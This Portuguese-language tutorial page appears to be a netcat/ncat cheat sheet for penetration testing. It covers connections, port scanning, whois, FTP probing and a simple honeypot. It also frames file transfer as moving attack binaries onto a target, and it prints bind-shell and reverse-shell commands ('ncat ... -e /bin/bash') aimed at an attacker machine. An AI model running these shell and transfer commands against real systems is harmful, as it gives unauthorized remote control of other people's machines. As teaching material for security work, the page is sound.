Pular para o conteúdo principal

netcat

O utilitário nc (ou netcat) é usado para quase tudo sob o sol envolvendo soquetes de domínio TCP, UDP ou UNIX. Ele pode abrir conexões TCP, enviar pacotes UDP, escutar em portas TCP e UDP arbitrárias, fazer varredura de portas e lidar com IPv4 e IPv6. Ao contrário do telnet, o nc faz scripts bem e separa as mensagens de erro no erro padrão, em vez de enviá-las para a saída padrão, como o telnet faz com alguns.

Os usos comuns incluem:

  • Proxies TCP simples;
  • Clientes e servidores HTTP baseados em shell-script;
  • Teste de daemon de rede;
  • SOCKS ou HTTP ProxyCommand para SSH;
  • E muito, muito mais...

Conectando

Abaixo temos o uso básico do nc, utilizando por padrão o protocolo TCP:

nc 172.16.1.4 110

Em alguns casos procisamos de mais informação, por exemplo que a conexão foi estabelecida e para isso utilizamos o modo verboso passando o argumento -v:

nc -v 172.16.1.4

Para efetuar conexões utilizando o protocolo UDP basta utilizar o argumento -u:

nc -u 127.0.0.1 9000

Escutando

É possível expor uma porta para conexão utilizando o nc, porém parece não ser muito funcional se não utilizado para expor uma shell ou para transferir arquivos, contudo esse modo pode ser útil para validar portas abertas no firewall, onde exponho uma porta e verifico se o firewall permite acesso à ela. Para expor essa porta no alvo utilizamos o argumento -l:

nc -vl 5050

Depois podemos utilizar o comando netstat para verificar o estado da porta no sistema alvo:

netstat -nlpt

Para portas UDP basta utilizar o argumento -u:

nc -vlu 9000

Transferência de arquivo

A transferência de arquivo é muito importante porque o nc não possui a função de expor uma shell, porém o pacote ncat, mantido pelo projeto do nmap, possui essa função muito útil. Além disso em muitos momentos temos a necessidade de subir binários gerados pelo metasploit com a intenção de persistir uma shell ou até mesmo alguns scripts como o linPEAS para enumeração.

Para a transferência de arquivos uilizando o nc temos dois cenários, um onde o servidor alvo espera a conexão e no outro caso onde o servidor alvo faz uma conexão, abaixo teremos os dois exemplos.

Alvo ← Atacante (Upload)

No servidor alvo:

nc -lv 5050 > ncat

No sistema do atacante:

nc -v 172.16.2.6 5050 < ncat

Alvo → Atacante (Download)

No sistema do atacante:

nc -lv 5050 < ncat

No servidor alvo:

nc -v 172.16.2.5 > ncat

Enviando stdout para Conexão

Nesse exemplo vamos enviar o output de algum comando via ncat.

nc -lv 5050 < <(cat /etc/os-release)

Quando fizermos a conexão na porta 5050 iremos receber a saída do comando cat /etc/os-release:

$ nc -v 127.0.0.1 5050
Connection to 127.0.0.1 5050 port [tcp/*] succeeded!
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Expondo Shell

Bind Shell

Esse é o conceito quando abrimos uma porta no alvo que estará expondo uma shell e conectamos à essa porta. O problema desse método é que na maioria das vezes um servidor está protegido por um firewall e poucas portas estão liberadas e já em uso.

Expondo shell no Linux:

ncat -vnlp 5050 -e /bin/bash

Expondo shell no Windows:

ncat -vnlp 5050 -e cmd.exe
informação

Os dois comandos acima são um modelo de shell simples onde devem ser executadas na máquina alvo.
Note também que estamos utilizando o ncat ao invés do nc, sendo que o primeiro possui mais funções.

Após obter a shell com o ncat, podemos chamar um pseudo terminal usando Python, onde irá melhorar considerávelmente a shell:

python -c 'import pty; pty.spawn("/bin/bash")'

Reverse Shell

Nesse segundo método, a máquina alvo que faz a conexão na máquina atacante, porém também fornecendo uma shell. Teremos mais sucesso com o método reverse shell porque é muito comum não criarem regras de firewall bloqueando outbound (tráfego de saída).

ncat -vn 192.168.0.100 5050 -e /bin/bash
informação

Na máquina do atacante é importante que o ncat esteja em execução antes de executar o comando acima no alvo, porque precisamos do ncat escutando para receber a conexão com a shell do alvo.

Escaneando Portas

Para escanear uma porta específica basta utilizar o argumento -z:

nc -vnz 172.16.1.5 22

Escaneando um range de portas:

nc -vnz 172.16.1.5 19-30
informação

Será escaneado da porta 19 até a porta 30.

Podemos também especificar o timeout para cada porta com o argumento -w:

nc -vnz -w2 172.16.1.5 22
informação

Será escaneado levando em consideração um timeout de 2 segundos (-w2).

Escaneando portas UDP com o argumento -u:

nc -vnzu 172.16.1.5 22

Whois

Com o nctambém é capaz de fazer pesquisas de domínio diretamente no registro.br:

echo "uol.com.br" | nc registro.br 43
cuidado

O registro.br aceita somentes domínios, ASNs e blocos de IPs brasileiros.
Para verificação extrangeira utilize o whois.internic.net:

echo "domain google.com" | nc whois.internic.net 43

HTTP

$ nc -vn www.alvo.com 80
HEAD / HTTP/1.0

FTP

$ nc -v 192.168.1.100 21
USER anonymous
PASS anonymous
informação

Sempre teste com usuário anonymous e senha anonymous.
Caso o login tenha sido aceito, será retornado o código 230 Login successful.

informação

Servidor de teste:

Domain: ftp.dlptest.com
User: dlpuser
Password: rNrKYTX9g7z3RgJRmxWuGHbeu

https://dlptest.com/ftp-test/

Honeypot

Não é uma das melhores opções a criação de um honeypot utilizando netcat porque existem outras ferramentas mais destinadas para esse fim, porém é prático e simples, ainda mais em cenários de PoC.

Há duas opções, uma é somente deixar o netcatescutando em uma porta e gravar o que ele recebe e a outra opção um pouco mais avançada é enviar um banner informando uma versão de serviço falsa.

$ cat banner_ftp.txt
220 ProFTPD 1.3.4a Server (Ubuntu)

$ while true; do
nc -vlnp 21 < banner_ftp.txt |& tee -a ftp_honeypot.log;
echo $(date) |& tee -a ftp_honeypot.log;
done
informação

O banner será enviado e todo stderr e stdout do netcat será enviado para o arquivo ftp_honeypot.log e em seguida a data e hora atual será também gravada.